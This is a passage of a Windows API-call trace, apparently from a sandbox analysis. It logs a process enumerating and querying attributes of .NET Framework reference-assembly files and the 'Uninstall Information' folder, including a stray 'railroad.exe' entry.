	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.464] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x123edf98 | out: lpFileInformation=0x123edf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0)) returned 1
	[0055.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist"), fInfoLevelId=0x0, lpFileInformation=0x124ca008 | out: lpFileInformation=0x124ca008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1
	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.464] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), fInfoLevelId=0x0, lpFileInformation=0x124ca0a8 | out: lpFileInformation=0x124ca0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76)) returned 1
	[0055.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.Contract.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.contract.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca0f8 | out: lpFileInformation=0x124ca0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
	[0055.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.AddIn.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.addin.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca148 | out: lpFileInformation=0x124ca148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0055.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ComponentModel.DataAnnotations.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.componentmodel.dataannotations.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca198 | out: lpFileInformation=0x124ca198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000)) returned 1
	[0055.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Core.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.core.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca1e8 | out: lpFileInformation=0x124ca1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000)) returned 1
	[0055.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.DataSetExtensions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.datasetextensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca238 | out: lpFileInformation=0x124ca238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1
	[0055.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca288 | out: lpFileInformation=0x124ca288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000)) returned 1
	[0055.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca2d8 | out: lpFileInformation=0x124ca2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000)) returned 1
	[0055.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Linq.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca328 | out: lpFileInformation=0x124ca328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000)) returned 1
	[0055.467] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Client.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.client.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca378 | out: lpFileInformation=0x124ca378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca3c8 | out: lpFileInformation=0x124ca3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Services.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca418 | out: lpFileInformation=0x124ca418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.DirectoryServices.AccountManagement.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.directoryservices.accountmanagement.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca468 | out: lpFileInformation=0x124ca468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Management.Instrumentation.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.management.instrumentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca4b8 | out: lpFileInformation=0x124ca4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Net.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.net.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca508 | out: lpFileInformation=0x124ca508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.ServiceModel.Web.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.servicemodel.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca558 | out: lpFileInformation=0x124ca558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000)) returned 1
	[0055.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Abstractions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.abstractions.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca5a8 | out: lpFileInformation=0x124ca5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca5f8 | out: lpFileInformation=0x124ca5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.DynamicData.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.dynamicdata.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca648 | out: lpFileInformation=0x124ca648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca698 | out: lpFileInformation=0x124ca698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Entity.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca6e8 | out: lpFileInformation=0x124ca6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.Design.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca738 | out: lpFileInformation=0x124ca738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Extensions.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca788 | out: lpFileInformation=0x124ca788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000)) returned 1
	[0055.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Web.Routing.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.web.routing.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca7d8 | out: lpFileInformation=0x124ca7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000)) returned 1
	[0055.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Windows.Presentation.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.windows.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca828 | out: lpFileInformation=0x124ca828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0055.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.WorkflowServices.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.workflowservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca878 | out: lpFileInformation=0x124ca878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000)) returned 1
	[0055.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Xml.Linq.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.xml.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x124ca8c8 | out: lpFileInformation=0x124ca8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0055.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\railroad.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\railroad.exe"), fInfoLevelId=0x0, lpFileInformation=0x124ca918 | out: lpFileInformation=0x124ca918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b690, ftCreationTime.dwHighDateTime=0x1d4bced, ftLastAccessTime.dwLowDateTime=0x66988b30, ftLastAccessTime.dwHighDateTime=0x1d4c14e, ftLastWriteTime.dwLowDateTime=0x66988b30, ftLastWriteTime.dwHighDateTime=0x1d4c14e, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information" (normalized: "c:\\program files (x86)\\uninstall information"), fInfoLevelId=0x0, lpFileInformation=0x124ca968 | out: lpFileInformation=0x124ca968*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Uninstall Information" (normalized: "c:\\program files (x86)\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.470] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.470] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
